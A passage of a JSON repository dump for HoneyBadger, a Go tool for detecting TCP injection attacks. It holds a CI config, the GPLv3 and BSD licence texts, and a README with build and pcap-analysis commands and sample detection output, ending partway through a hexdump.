[
  {
    "path": ".travis.yml",
    "content": "\n\nlanguage: go\n\ngo:\n  - \"1.13\"\n\nbefore_install:\n - sudo apt-get update -qq\n - sudo apt-get install -y libpcap-dev\n - git clone https://github.com/david415/honeybadger-pcap-files.git pcap_archive\ninstall:\n - go get -v -t ./\n\nscript:\n - go test -v ./\n - go test -v ./logging\n - go test -v ./blocks\n - go test -v ./types\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "LICENSE_BSD",
    "content": "Copyright (c) 2012 Google, Inc. All rights reserved.\nCopyright (c) 2009-2011 Andreas Krennmair. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n\n   * Redistributions of source code must retain the above copyright\nnotice, this list of conditions and the following disclaimer.\n   * Redistributions in binary form must reproduce the above\ncopyright notice, this list of conditions and the following disclaimer\nin the documentation and/or other materials provided with the\ndistribution.\n   * Neither the name of Andreas Krennmair, Google, nor the names of its\ncontributors may be used to endorse or promote products derived from\nthis software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "README.rst",
    "content": "\n===========\nHoneyBadger\n===========\n\n\n.. image:: http://honeybadger.readthedocs.org/en/latest/_images/honey_badger-white-sm-1.png\n\n|\n\n.. image:: https://travis-ci.org/david415/HoneyBadger.svg?branch=master\n  :target: https://travis-ci.org/david415/HoneyBadger\n\n.. image:: https://coveralls.io/repos/github/david415/HoneyBadger/badge.svg?branch=master\n  :target: https://coveralls.io/github/david415/HoneyBadger\n\n.. image:: https://godoc.org/github.com/david415/HoneyBadger?status.svg\n  :target: https://godoc.org/github.com/david415/HoneyBadger\n\n\nproject goals\n-------------\n\n* HoneyBadger is primarily a comprehensive TCP stream analysis tool for detecting and recording TCP injection attacks.\n\n* This git repository also includes a variety of *prototype* TCP stream injections attacks.\n\n\ndetails\n-------\n\n* Read about HoneyBadger's design and implementation: https://honeybadger.readthedocs.org/\n\n* Read the `manual integration procedure`_ - a reproduciable procedure which proves HoneyBadger's TCP injection attack detection is reliable; **in less than 2 minutes you can perform a test on your loopback interface... and test that HoneyBadger can detect injected data into a netcat client-server connection.**\n.. _manual integration procedure: https://honeybadger.readthedocs.org/en/latest/#manual-integration-test-with-netcat\n\n\n* Read the godoc `autogenerated API documentation`_\n\n.. _autogenerated API documentation: https://godoc.org/github.com/david415/HoneyBadger\n\n\n* HoneyBadger currently support 3 Data AcQuisition packet sources: libpcap, AF_PACKET and BSD_BPF.\nThis means that for instance on OpenBSD, you must use the BSD_BPF DAQ by specifying this CLI option::\n\n  \"-daq=BSD_BPF\"\n\n\nHoneyBadger attack detecton CLI examples!\n-----------------------------------------\n\nBuild honeyBadger CLI command from source::\n\n  user@go-dev2:~/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger$ go build\n\nRun honeyBadger against a pcap file called tshark2.pcap::\n\n  user@go-dev2:~/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger$ ./honeyBadger \\\n  -max_concurrent_connections=1000 -max_pcap_log_size=100 -max_pcap_rotations=10 -max_ring_packets=40 \\\n  -metadata_attack_log=false -total_max_buffer=1000 -connection_max_buffer=100 -archive_dir=./archive \\\n  -log_packets -l=./incoming -pcapfile=./tshark2.pcap\n\n\nhoneyBadger will spew lots of things to stdout. Using the above command,\nit will record an attack report JSON file(s) to the \"./archive\" directory.\nHere's an example output with a pcap file containing an ordered coalesce injection::\n\n  2016/02/05 23:30:01 Starting libpcap packet capture on file ./tshark2.pcap\n  2016/02/05 23:30:01 connected 127.0.0.1:59670-127.0.0.1:9666\n  2016/02/05 23:30:01 race winner stream segment:\n  2016/02/05 23:30:01 00000000  20 69 73 20 6e 65 63 65  73 73 61 72 79 20 66 6f  | is necessary fo|\n  00000010  72 20 61 6e 20 6f 70 65  6e 20 73 6f 63 69 65 74  |r an open societ|\n  00000020  79 20 69 6e 20 74 68 65  20 65 6c 65 63 74 72 6f  |y in the electro|\n  00000030  6e 69 63 20 61 67 65 2e  20 50 72 69 76 61 63 79  |nic age. Privacy|\n  00000040  20 69 73 20 6e 6f 74 20  73 65 63 72 65 63 79 2e  | is not secrecy.|\n  00000050  20 41 20 70 72 69 76 61  74 65 20 6d 61 74 74 65  | A private matte|\n  00000060  72 20 69 73 20 73 6f 6d  65 74 68 69 6e 67 20 6f  |r is something o|\n  00000070  6e 65 20 64 6f 65 73 6e  27 74 20 77 61 6e 74 20  |ne doesn't want |\n  00000080  74 68 65 20 77 68 6f 6c  65 20 77 6f 72 6c 64 20  |the whole world |\n  00000090  74 6f 20 6b 6e 6f 77 2c  20 62 75 74 20 61 20 73  |to know, but a s|\n  000000a0  65 63 72 65 74 20 6d 61  74 74 65 72 20 69 73 20  |ecret matter is |\n  000000b0  73 6f 6d 65 74 68 69 6e  67 20 6f 6e 65 20 64 6f  |something one do|\n  000000c0  65 73 6e 27 74 20 77 61  6e 